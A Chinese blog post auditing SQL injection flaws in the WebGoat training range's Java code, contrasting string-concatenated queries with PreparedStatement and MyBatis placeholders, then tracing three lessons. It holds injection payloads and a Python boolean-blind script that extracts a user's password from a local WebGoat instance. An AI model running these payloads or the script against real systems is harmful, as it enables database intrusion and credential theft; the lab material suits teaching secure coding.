热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

JAVA代码审计——SQL注入靶场审计01

目录(一)前置知识0x01执行SQL语句的几种方式1.Statement执行SQL语句2、PreparedStatement执行SQ

目录

(一)前置知识

0x01  执行 SQL 语句的几种方式

1.Statement 执行 SQL 语句

2、PreparedStatement 执行 SQL 语句

3.MyBatis 执行 SQL 语句

 

注意:MyBatis 中#{}和${}的区别

总结

(二)SQL Lesson 9

(三) SQL Lesson 10

(四)SQL Lesson (adv) 5

 payload

参考资料




(一)前置知识




0x01  执行 SQL 语句的几种方式




Java 中执行 SQL 语句一般有以下几种方式:


  • 使用 JDBC java.sql.Statement 执行 SQL 语句。
  • 使用 JDBC java.sql.PreparedStatement 执行 SQL 语句。
  • 使用 Hibernate 执行 SQL 语句。
  • 使用 MyBatis 执行 SQL 语句。


1Statement 执行 SQL 语句


        java.sql.Statement 是 Java JDBC 下执行 SQL 语句的一种原生方式,执行语句时需要通过拼接来执行。若拼接的语句没有经过过滤,将出现 SQL 注入漏洞。

//注册驱动
Class.forName("oracle.jdbc.driver.OracleDriver");
//获取连接
Connection cOnn= DriverManager.getConnection(DBURL, DBUser, DBPassWord);
//创建 Statement 对象
Statement state = conn.createStatement();
//执行 SQL
String sql = "SELECT * FROM user WHERE id = '" + id + "'";
state. executeQuery(sql);

2、PreparedStatement 执行 SQL 语句




        PreparedStatement 是继承 statement 的子接口,包含已编译的 SQL 语句。
PreparedStatement 会预处理 SQL 语句,SQL 语句可具有一个或多个 IN 参数。IN 参数的值
SQL 语句创建时未被指定,而是为每个 IN 参数保留一个问号(?)作为占位符。每个
问号的值,必须在该语句执行之前通过适当的 setXXX 方法来提供。如果是 int 型则用
setInt 方法,如果是 string 型则用 setString 方法。


       PreparedStatement 预编译的特性使得其执行 SQL 语句要比 Statement 快,SQL 语句会编译在数据库系统中,执行计划会被缓存起来,速度会加快很多。PreparedStatement 预编译还有另一个优势,可以有效地防止 SQL 注入攻击,其相当于Statement 的升级版。

        使用方式如下:

//注册驱动
Class.forName("oracle.jdbc.driver.OracleDriver");
//获取连接
Connection cOnn=DriverManager.getConnection(DBURL, DBUser, DBPassWord);
//实例化 PreparedStatement 对象
String sql = "SELECT * FROM user WHERE id = ?";
PreparedStatement preparedStatement = connection.prepareStatement(sql);
//设置占位符为 id 变量
preparedStatement.setInt(1,id);
//执行 SQL 语句
ResultSet resultSet = preparedStatement.executeQuery();

3.MyBatis 执行 SQL 语句




Java代码审计前置知识——MyBatis_jinyouxin的博客-CSDN博客


     MyBatis 是一个 Java 持久化框架,它通过 XML 描述符或注解把对象与存储过程或 SQL 语句关联起来,它支持自定义 SQL、存储过程以及高级映射。MyBatis 封装了几乎所有的 JDBC 代码,可以完成设置参数和获取结果集的工作。
     MyBatis 可以通过简单的 XML 或注解将原始类型、接口和 Java POJOPlain Old Java Objects,普通老式 Java 对象)配置并映射为数据库中的记录。要使用 MyBatis,只需将 mybatis-x.x.x.jar 文件置于类路径(classpath)中即可。


1MyBatis 注解存储 SQL 语句

package org.mybatis.example;
public interface BlogMapper { @Select("select * from Blog where id = #{id}") Blog selectBlog(int id);
}

(2)MyBatis 映射存储 SQL 语句


mapper.dtd">


(3)定义主体测试代码文件 mybaitstest.java

public class mybaitstest { SqlSessionFactory sessiOnFactory= null; SqlSession sqlSession = null; { String resource = "com/mybatis/mybatisConfig.xml"; // 加载 mybatis 的配置文件(它也加载关联的映射文件)Reader reader = null; try { reader = Resources.getResourceAsReader(resource); } catch (IOException e) { e.printStackTrace(); } // 构建 sqlSession 的工厂sessiOnFactory= new SqlSessionFactoryBuilder().build(reader); // 创建能执行映射文件中 SQL 的 sqlSession,默认为手动提交事务,如果使用自动提交,
则加上参数 true sqlSession = sessionFactory.openSession(true); } public void testSelectUser() { String statement = "com.mybatis.userMapper" + ".getUser"; User user = sqlSession.selectOne(statement, "2"); System.out.println(user); } public static void main(String[] args) throws IOException { new mybaitstest().testSelectUser(); }
}

(4)定义 SQL 映射文件 userMapper.xml


mapper.dtd">


(5)定义 MyBatista mybatisConfig.xml 配置文件


mybatis-3-config.dtd">



         在测试代码 mybaitstest.java 中通过String statement = "com.mybatis.userMapper" +

".getUser"调用了com.mybatis.sql.User,在 userMapper.xml 映射文件中执行的是

select * from users where id = #{id}”,通过测试代码“User user = sqlSession.selectOne

(statement, "2")”将 id 的值设置为 2,运行完成后输出 id 2 的数据信息,如图 2-4所示:



2-4 输出 id 2 的数据信息


 


注意:MyBatis #{}${}的区别


  1. #{}在底层实现上使用“?”作为占位符来生成 PreparedStatement,也是参数化查询预编译的机制,这样既快又安全。
  2. ${}将传入的数据直接显示生成在 SQL 语句中,类似于字符串拼接,可能会出现 SQL注入的风险。

like、order by和in


   在 MyBatis #{}是进行参数化查询的,如果在 MyBatis order by子句中使用#{}order by 子句会失效;like 子句中使用#{}程序会报错,例如:“select * from users where name like '%#{user}%'”;为了避免报错只能使用${},例如:“select * from users where  name like '%${user}%'”;但${}可能会存在 SQL 注入漏洞,要避免 SQL 注入漏洞就要 进行过滤。

     MyBatis 框架的 in 子句中使用#{}${},参数类似于“'user1','user2','user3','user4'”,多个参数时结果也会有不同。在 MyBatis in 子句中使用#{}会将多个参数当作一个整体



       MyBatis in 子句中使用#{}参数化查询,会将“select * from users where name in (#{user})”转变为“select * from users where name like (''user1','user2','user3','user4'')”,这样 把“'user1','user2','user3','user4'当作一个整体,偏离了原来的程序设计逻辑,无法查到数据,如图 2-20 所示。


2-20 偏离原来的程序设计逻辑

 


为了避免这个问题,只能使用${},但是${}使用的是字符串拼接的方式很有可能会存在 SQL 注入漏洞。


总结

Statement
createStatement
PrepareStatement
like '%${
in (${
select
update
insert


(二)SQL Lesson 9



前面都是sql注入的介绍,我们直接来看到lesson9,首先请求一下看一下前端请求后端的接口地址.

 全局进行一个搜索,我们首先来看PostMapping那一个代码

 可以看到直接进行了SQL语句的拼接

 

我们来打个断点分析一下,可以看到我们输入的内容没有经过任何过滤就直接拼接来进去

 然后我们再跟进一下injectableQuery,其实就是下面一个方法,可以看到我们传入的参数给了accountName,我们再来打一下断点看看一下accountName的数值是什么?

 可以看到我们传入的数据直接可以通过引号闭合sql语句的引号

 

SELECT * FROM user_data WHERE first_name = 'John' and last_name = ' + 'Smith or 1='1 + '

然后就可以看到我们所有的数据都回显出来了


(三) SQL Lesson 10



同样的发送请求来定位我们后端的接口

 然后在代码中进行一个定位 ,定位到如下的片段

 我把代码下载到IDEA里面了,靶场在docker里面部署的,爆红不影响正常的代码分析。


可以看到Login_Count 后面是 ? 这个一看就发现是对数据进行了一个预编,然后后面的代码会将Login_Count转换成数字类型如果没有出错才会进行后续的操作,然后再进行sql语句的执行。


 所以这里的注入点是后面的accountname,直接进行了一个拼接,所以我们只需要如下payload即可. 1 or 1=1

 后面几关产生原理是相同的,注入类型不同。


(四)SQL Lesson (adv) 5



 测试一下登录发现请求是发往/WebGoat/SqlInjectionAdvanced/challenge_Login,来search


可以看到我们的SQL语句中userid和password都进行了预编译,但是还有一个注册功能,我们去看看注册功能,发现在注册的时候进行了参数拼接,直接将username_reg带入到了sql


 

所以我们来看一下我们的SQL注入语句,我们的SQL语句是如下这样的,我们可以通过 \' 闭合前面的符号:

"select userid from sql_challenge_users where userid = '" + username_reg + "'"

例如 :


  • 下面是闭合情况,那么我们如果根据回显信息来获取我们需要的tom的密码呢?

select userid from sql_challenge_users where userid =' + tom' and '1'='1 +'

我们可以采用类似布尔盲注的思路,前提得知已有tom这个账号

tom' and '1'='2 真 and 假 这样结果就是为假这样的话数据库查询就无法查找出信息,就会执行else语句显示user.created

tom' and '1'='1 真 and 真 这样结果就是为真数据库就会查询出结果,执行if语句回显user.exists

文字有可能不是很清楚我们来看例子:

我们来打一下断点分析一下

 我们先来尝试假的 用户名为 tom' and '1'='2

 

 可以看到直接来到了else这里

回显结果如下 

 接下来尝试tom' and '1'='1 也就是真的情况 执行了if语句

 同时返回信息

 前端有回显


 payload

import requests
import stringCOOKIEs = {}
COOKIEs["JSESSIONID"]="ynf4xx_jMxXI87sBDW2VRtRvZJhdV9tsQXE6kNEF"
enums = string.ascii_lowercase + string.digits + "." + "_" + ","
i = 1
while True:flag = 0for value in enums:sql_value = "tom\' and substring(password,{},1)=\'{}".format(i,value)url = "http://localhost:8081/WebGoat/SqlInjectionAdvanced/challenge"put_data = {"username_reg":sql_value,"email_reg":"123@123","password_reg":"test","confirm_password_reg":"test"}req = requests.put(url,data=put_data,COOKIEs=COOKIEs)text = req.textif "already exists" in text:print(value,end='')i+=1flag = 1if flag == 0:break

参考资料

JAVA代码审计之WebGoat靶场SQL注入_Tr0e的博客-CSDN博客


推荐阅读
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • 在说Hibernate映射前,我们先来了解下对象关系映射ORM。ORM的实现思想就是将关系数据库中表的数据映射成对象,以对象的形式展现。这样开发人员就可以把对数据库的操作转化为对 ... [详细]
  • Android系统移植与调试之如何修改Android设备状态条上音量加减键在横竖屏切换的时候的显示于隐藏
    本文介绍了如何修改Android设备状态条上音量加减键在横竖屏切换时的显示与隐藏。通过修改系统文件system_bar.xml实现了该功能,并分享了解决思路和经验。 ... [详细]
  • 本文介绍了Android 7的学习笔记总结,包括最新的移动架构视频、大厂安卓面试真题和项目实战源码讲义。同时还分享了开源的完整内容,并提醒读者在使用FileProvider适配时要注意不同模块的AndroidManfiest.xml中配置的xml文件名必须不同,否则会出现问题。 ... [详细]
  • Oracle seg,V$TEMPSEG_USAGE与Oracle排序的关系及使用方法
    本文介绍了Oracle seg,V$TEMPSEG_USAGE与Oracle排序之间的关系,V$TEMPSEG_USAGE是V_$SORT_USAGE的同义词,通过查询dba_objects和dba_synonyms视图可以了解到它们的详细信息。同时,还探讨了V$TEMPSEG_USAGE的使用方法。 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • 如何在php文件中添加图片?
    本文详细解答了如何在php文件中添加图片的问题,包括插入图片的代码、使用PHPword在载入模板中插入图片的方法,以及使用gd库生成不同类型的图像文件的示例。同时还介绍了如何生成一个正方形文件的步骤。希望对大家有所帮助。 ... [详细]
  • Java String与StringBuffer的区别及其应用场景
    本文主要介绍了Java中String和StringBuffer的区别,String是不可变的,而StringBuffer是可变的。StringBuffer在进行字符串处理时不生成新的对象,内存使用上要优于String类。因此,在需要频繁对字符串进行修改的情况下,使用StringBuffer更加适合。同时,文章还介绍了String和StringBuffer的应用场景。 ... [详细]
  • MyBatis错题分析解析及注意事项
    本文对MyBatis的错题进行了分析和解析,同时介绍了使用MyBatis时需要注意的一些事项,如resultMap的使用、SqlSession和SqlSessionFactory的获取方式、动态SQL中的else元素和when元素的使用、resource属性和url属性的配置方式、typeAliases的使用方法等。同时还指出了在属性名与查询字段名不一致时需要使用resultMap进行结果映射,而不能使用resultType。 ... [详细]
  • 本文介绍了一个在线急等问题解决方法,即如何统计数据库中某个字段下的所有数据,并将结果显示在文本框里。作者提到了自己是一个菜鸟,希望能够得到帮助。作者使用的是ACCESS数据库,并且给出了一个例子,希望得到的结果是560。作者还提到自己已经尝试了使用"select sum(字段2) from 表名"的语句,得到的结果是650,但不知道如何得到560。希望能够得到解决方案。 ... [详细]
  • 本文讨论了在数据库打开和关闭状态下,重新命名或移动数据文件和日志文件的情况。针对性能和维护原因,需要将数据库文件移动到不同的磁盘上或重新分配到新的磁盘上的情况,以及在操作系统级别移动或重命名数据文件但未在数据库层进行重命名导致报错的情况。通过三个方面进行讨论。 ... [详细]
  • web.py开发web 第八章 Formalchemy 服务端验证方法
    本文介绍了在web.py开发中使用Formalchemy进行服务端表单数据验证的方法。以User表单为例,详细说明了对各字段的验证要求,包括必填、长度限制、唯一性等。同时介绍了如何自定义验证方法来实现验证唯一性和两个密码是否相等的功能。该文提供了相关代码示例。 ... [详细]
  • 本文介绍了在MySQL8.0中如何查看性能并解析SQL执行顺序。首先介绍了查询性能工具的开启方法,然后详细解析了SQL执行顺序中的每个步骤,包括from、on、join、where、group by、having、select distinct、union、order by和limit。同时还介绍了虚拟表的概念和生成过程。通过本文的解析,读者可以更好地理解MySQL8.0中的性能查看和SQL执行顺序。 ... [详细]
author-avatar
魏承辉符合_821
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有